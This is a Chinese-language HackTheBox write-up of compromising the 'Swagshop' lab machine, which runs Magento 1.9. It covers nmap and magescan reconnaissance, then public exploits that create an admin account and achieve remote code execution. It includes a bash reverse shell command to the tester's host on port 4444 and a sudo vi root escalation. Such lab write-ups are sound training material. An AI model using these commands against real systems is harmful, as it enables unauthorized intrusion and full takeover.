【HTB系列】 靶機Swagshop的滲透測試詳解

  • 2019 年 11 月 13 日
  • 筆記

總結與反思

  • 使用vi提權
  • magento漏洞的利用
  • magescan 工具的使用

靶機介紹

靶機IP:10.10.10.140

kali:10.10.12.69

先用nmap來對靶機進行探測

nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140

掃描結果

# Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5  ‐oA Swagshop.nmap 10.10.10.140  Warning: 10.10.10.140 giving up on port because retransmission cap hit  (2).  Nmap scan report for 10.10.10.140  Host is up (0.33s latency).  Not shown: 855 closed ports, 143 filtered ports  PORT STATE SERVICE VERSION  22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol  2.0)  | ssh‐hostkey:  | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)  |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)  80/tcp open http Apache httpd 2.4.18 ((Ubuntu))  |_http‐title: Home page  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel    Service detection performed. Please report any incorrect results at http  s://nmap.org/submit/ .  # Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann  ed in 73.75 seconds

開放了22 和 80端口,直接打開訪問下網頁

Magento是一款新的專業開源電子商務平台,採用php進行開發,使用Zend Framework框架。 設計得非常靈活,具有模塊化架構體系和豐富的功能。易於與第三方應用系統無縫集成。在設計 上,包含相當全面,以模塊化架構體系,讓應用組合變得相當靈活,功能也相當豐富

接下來就是網頁上進行信息收集。

首先是下面的版權,2014年可以為找漏洞的線索

我們隨便點開網頁有一個比較奇怪的地方,感覺像是URL重寫,前面都會多一個index.php

通過gubuster,跑出來的目錄也沒有什麼用

這樣收集的信息也不是很夠,我們還需要另外的工具進行輔助

magescan 專門針對magento的掃描器

下載地址:https://github.com/steverobbins/magescan/releases

>php magescan.phar scan:all http://10.10.10.140     Scanning http://10.10.10.140/...       Magento Information       +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+   | Parameter | Value |   +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+   | Edition | Community |   | Version | 1.9.0.0, 1.9.0.1 |   +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+       Installed Modules       No detectable modules were found       Catalog Information       +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+   | Type | Count |   +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+   | Categories | Unknown |   | Products | Unknown |   +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+       Patches       +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+   | Name | Status |   +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+   | SUPEE‐5344 | Unknown |   | SUPEE‐5994 | Unknown |   | SUPEE‐6285 | Unknown |   | SUPEE‐6482 | Unknown |   | SUPEE‐6788 | Unknown |   | SUPEE‐7405 | Unknown |   | SUPEE‐8788 | Unknown |   +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+       Sitemap       Sitemap is not declared in robots.txt   Sitemap is not accessible: http://10.10.10.140/sitemap.xml       Server Technology       +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+   | Key | Value |   +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+   | Server | Apache/2.4.18 (Ubuntu) |   +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+       Unreachable Path Check       +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐  +   | Path | Response Code | Status |   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐  +   | .bzr/ | 404 | Pass |   | .cvs/ | 404 | Pass |   | .git/ | 404 | Pass |   | .git/config | 404 | Pass |   | .git/refs/ | 404 | Pass |   | .gitignore | 404 | Pass |   | .hg/ | 404 | Pass |   | .idea | 404 | Pass |   | .svn/ | 404 | Pass |   | .svn/entries | 404 | Pass |   | admin/ | 404 | Pass |   | admin123/ | 404 | Pass |   | adminer.php | 404 | Pass |   | administrator/ | 404 | Pass |   | adminpanel/ | 404 | Pass |   | aittmp/index.php | 404 | Pass |   | app/etc/enterprise.xml | 404 | Pass |   | app/etc/local.xml | 200 | Fail |   | backend/ | 404 | Pass |   | backoffice/ | 404 | Pass |   | beheer/ | 404 | Pass |   | capistrano/config/deploy.rb | 404 | Pass |   | chive | 404 | Pass |   | composer.json | 404 | Pass |   | composer.lock | 404 | Pass |   | vendor/composer/installed.json | 404 | Pass |   | config/deploy.rb | 404 | Pass |   | control/ | 404 | Pass |   | dev/tests/functional/etc/config.xml | 404 | Pass |   | downloader/index.php | 404 | Pass |   | index.php/rss/order/NEW/new | 200 | Fail |   | info.php | 404 | Pass |   | mageaudit.php | 404 | Pass |   | magmi/ | 404 | Pass |   | magmi/conf/magmi.ini | 404 | Pass |   | magmi/web/magmi.php | 404 | Pass |   | Makefile | 404 | Pass |   | manage/ | 404 | Pass |   | management/ | 404 | Pass |   | manager/ | 404 | Pass |   | modman | 404 | Pass |   | p.php | 404 | Pass |   | panel/ | 404 | Pass |   | phpinfo.php | 404 | Pass |   | phpmyadmin | 404 | Pass |   | README.md | 404 | Pass |   | README.txt | 404 | Pass |   | shell/ | 200 | Fail |   | shopadmin/ | 404 | Pass |   | site_admin/ | 404 | Pass |   | var/export/ | 404 | Pass |   | var/export/export_all_products.csv | 404 | Pass |   | var/export/export_customers.csv | 404 | Pass |   | var/export/export_product_stocks.csv | 404 | Pass |   | var/log/ | 404 | Pass |   | var/log/exception.log | 404 | Pass |   | var/log/payment_authnetcim.log | 404 | Pass |   | var/log/payment_authorizenet.log | 404 | Pass |   | var/log/payment_authorizenet_directpost.log | 404 | Pass |   | var/log/payment_cybersource_soap.log | 404 | Pass |   | var/log/payment_ogone.log | 404 | Pass |   | var/log/payment_payflow_advanced.log | 404 | Pass |   | var/log/payment_payflow_link.log | 404 | Pass |   | var/log/payment_paypal_billing_agreement.log | 404 | Pass |   | var/log/payment_paypal_direct.log | 404 | Pass |   | var/log/payment_paypal_express.log | 404 | Pass |   | var/log/payment_paypal_standard.log | 404 | Pass |   | var/log/payment_paypaluk_express.log | 404 | Pass |   | var/log/payment_pbridge.log | 404 | Pass |   | var/log/payment_verisign.log | 404 | Pass |   | var/log/system.log | 404 | Pass |   | var/report/ | 404 | Pass |   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐  +

從掃描結果我們可以看到magento的版本大概為1.9.0.0, 1.9.0.1。

敏感路徑:

/app/etc/local.xml(有線索)  /index.php/rss/order/NEW/new(無用)  /shopadmin/

接下來用searchsploit來找下magento現在已經的漏洞

通過 -x 參數可以看到這些EXP的內容

主要是用到這兩個:

第一個,用來進行遠程代碼執行(但是需要通過身份驗證) 。

第二個,可以用來創建管理員賬號密碼(給第一個EXP的利用創造條件)。

先試用第二個EXP,創建管理員賬號密碼 通過-m 參數可以吧EXP複製到當前路徑

然後對EXP進行修改,這裡修改3個地方。

  1. 在之前我們也看到,網頁前面都會增加index.php,所以這裡我們也要加,否則。。。。你自己可以試試看會是包
  1. 這裡修改我們增加管理的賬號密碼
  1. 修改下輸出信息,方便成功後能直觀看到我們的賬號密碼

然後執行下

我們嘗試登錄下

成功登錄

接下來就是利用另一個EXP,來進行遠程代碼執行

重新編輯下EXP

我們可以看到我們需要配置的地方

username:dfz  password:dfz  php_function:我們不需要修改  install_data:在上面我們發現的/app/etc/local.xml可以查詢到

配置好的信息如下:

開始執行

可以看到mechanize報了一個找不到元素的錯,mechanize是python裏面模擬瀏覽器操作的模塊。結合它需要管理員賬號密碼,這裡應該填的是管理員頁面地址。

可以看到命令執行成功

那麼我們就用它反彈shell

無法正常反彈!

這裡猜測,可能是因為這串代碼傳到服務器的時候 可能因為空格或者是其他的異常的符導致服務器執行失敗。之前我們看到whoami命令是可以正常執行的。那麼我們就把代碼換成這樣

python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "

這樣當服務器解析到bash -c 時 可以把後面單引號內的內容執行,防止意外干擾

成功!!!我們看下自己的sudo權限

可以看到我們使用vi和使用目錄/var/www/html是不需要密碼就能獲得root權限的。

第一反應就是使用vi來進行提權,先使用python的pty

python ‐c "import pty;pty.spawn('/bin/bash')"

發現沒有python,但是我們可以用python3

python3 ‐c "import pty;pty.spawn('/bin/bash')"

然後在處理方向鍵等亂碼問題。

先ctrl+z 把進程掛到後台,然後輸入stty raw -echo,在輸入fg(不會顯示出來),多按幾次回車即可

然後需要使用vi進行提權,需要注意的是:

  1. 要增加sudo
  2. vi要輸入文件的絕對路徑 sudo vi /var/www/html/sdfzy vi開啟後進入命令行模式,然後執行命令 :!/bin/bash

即可拿到root權限!